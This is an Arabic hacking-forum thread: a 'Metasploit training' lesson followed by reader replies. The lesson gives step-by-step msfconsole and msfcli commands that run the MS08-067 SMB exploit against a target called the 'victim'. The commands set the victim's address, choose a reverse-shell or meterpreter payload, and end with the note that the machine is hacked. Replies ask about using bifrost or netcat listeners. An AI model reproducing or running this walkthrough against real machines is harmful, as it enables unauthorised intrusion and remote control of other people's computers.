module 1 : ماهي msfconsole,msfcli,msfweb,msfgui و نبذة عن الأوامر .(METASPLOIT TRANNING)

[data$hack]

السلام عليكم ورحمة الله وبركاته
بسم الله الرحمن الرحيم

في هذا الدرس :
ستتعرف msfconsole واوامره , كيفية العمل به
ستتعرف msfcli
ستتعرف msfgui
ستتعرف msfweb


مشروع Metasploit مشروع كبير جدا و مشهور عالميا ، بدايته كانت سنة 2003 , كان يحتوي على القليل من exploits و payloads , فبدأت عملية التطور ليصل اليوم محملا ب 496 exploits و 192 payloads و 239 auxiliary. بالاضافة للعديد من الأدوات التي تساعدنا على اكتشاف ثغرات Buffer overflow ... و الكثير الكثير


سنتحدث اكثر عن msfconsole
تعريف صغير عن البقية

-----------------------
msfconsole
-----------------------
تجدونها على باك تراك هنا :

كود PHP:

pentest/exploits/framework3/msfconsole 


ندخل الان في الاوامر :
اهم امر help
لن اشرحو هههه

امر show :

show exploits
اظهار جميع الثغرات

show payloads
اظهار جميع payload

show auxiliary
اظهار جميع auxiliary

search
للبحث ;مثال :

امر info
تعطينا معلومات ;مثال :

امر use
احنا عندنا ثغرة نريد استخدامها ،
اذا use ;مثال :

كود PHP:

msf > use windows/smb/ms08_067_netapi
msf exploit(ms08_067_netapi) > 


اكتب show options لترى options الثغرة ;مثال :

ماذا يهمنا هنا ???
الظحية rhost
rport البورت المصاب اتركه كما هو
نظع ip الظحية set RHOST ip ;مثال :

كود PHP:

msf exploit(ms08_067_netapi) > set RHOST 192.168.1.2
RHOST => 192.168.1.2 


الان نأتي الى المهم ال payload
باختصار هو كيفية التحكم بجهاز victim
اكتب show payloads من ثم اختر واحدا
باختصار هذه ال payload هي الاقوى :

كود PHP:

windows/shell/reverse_tcp
windows/shell/bind_tcp
windows/vncinject/bind_tcp
windows/meterpreter/reverse_tcp 


سنأتي على تعريفها في الدروس القادمة

نظع ال set payload :::payload ;مثال :

كود PHP:

msf exploit(ms08_067_netapi) > set payload windows/shell/reverse_tcp
payload => windows/shell/reverse_tcp 


اكتب show options لترى options الثغرة again ;مثال :

هههه كبرت
شوف lhost تظع هنا ال ip تبعك ;مثال :

كود PHP:

msf exploit(ms08_067_netapi) > set LHOST 192.168.1.3
LHOST => 192.168.1.3 


كل شيء تمام

الان اكتب exploit للاستغلال ;مثال :

:icon555: :00001793[1]:

تم الاخترق

ملا حظة هامة جدا
انا استعملت ثغرة windows/smb/ms08_067_netapi
يعني انت ممكن تمشي معاك ممكن لا
استعمل ما تعلمته قبل قليل للبحث عن ثغرة تعمل
ان شاء الله استفدتوووا

-----------------------
msfcli
-----------------------

باختصار هيا للاختصار
مثال :

كود PHP:

/pentest/exploits/framework3/msfcli windows/smb/ms08_067_netapi payload=windows/shell/reverse_tcp RHOST=192.168.1.2 LHOST=192.168.1.2 E 


-----------------------
msfgui
-----------------------
للاغبياء فقط :icon666:
تشغيلها سهل :

كود PHP:

pentest/exploits/framework3/msfgui 


-----------------------
msfweb
-----------------------
الاجمل و الاروع :666:
تشغيلها سهل :

كود PHP:

pentest/exploits/framework3/msfweb 


ثم اذهب للمتصفح :

كود PHP:

http://127.0.0.1:55555/ 


ان شاء الله اكون وصلت بعض المعلومات و لو القليل
ان شاء الله بتفهم اكثر مع الدروس القادمة
ارجوا من اصحاب القلوب المريضة حفض الحقوق والله تعبت عليه
best regards
data$hack

[marrak]

بارك الله فيك اخي الكريم
ولي الشرف ان انظم الى دورتك

[serial keller]

[gdwl]thx bro !!!! we waiit for the rest [/gdwl]

[data$hack]

شكرا على المرور

[الشبح المرح]

روووووعة جدا

عندي سؤال و راح اكثر عليك الاسئلة هههههههههه

في ثغرة windows/smb/ms08_067_netapi

ممكن ابدل البورت من 445 الى 81 بيرفوست

و اكون عامل تنصت بالبيرفوست و صيصلني التبيليغ اليس كذالك

ام اني على خطأ

[data$hack]

اهلا بيك اخي الشبح المرح ;;;
لا يمكن تغيير بورت الثغرة اخي لانه البورت الافتراضي للبرنامج
اخي هذه ثغرة buffer لا يمكن تتنصت عليها بال bifrost هي مو سرفر
هذا حد فهمي لسؤالك
اهلا بيك اخي

[الشبح المرح]

ادا لا يوجد الا نت كات

بارك الله فيك على تصحيح الامور

[data$hack]

هذا واجب اخي

[Cyber Code]

مشكور حبيبي واصل وإلا الامام

[data$hack]

اقتباس المشاركة الأصلية كتبت بواسطة Dark Light مشكور حبيبي واصل وإلا الامام

منور الموضوع و شكرا على الرد :Great:

[kyokar]

شـكــ وبارك الله فيك ـــرا لك ... لك مني أجمل تحية .

[blablabou94]

شكرا أخي لقد ساعدتني كثيرة على فهمي هذا الموظ3 أنت لمعالم والله
أنتظر الباقي أرجوك

[blablabou94]

سؤال هااام والله هل خطير لو أستعمله ضد حاسوبي أرجوك أنتظر الإجابة//... أي أن حاسوبي هو الضحية

[powerful virus]

بصراحة لي الشرف اني انظم الى دورتك

[Governmen7]

شـكــ وبارك الله فيك ـــرا لك ... لك مني أجمل تحية . موفق بإذن الله ... لك مني أجمل تحية .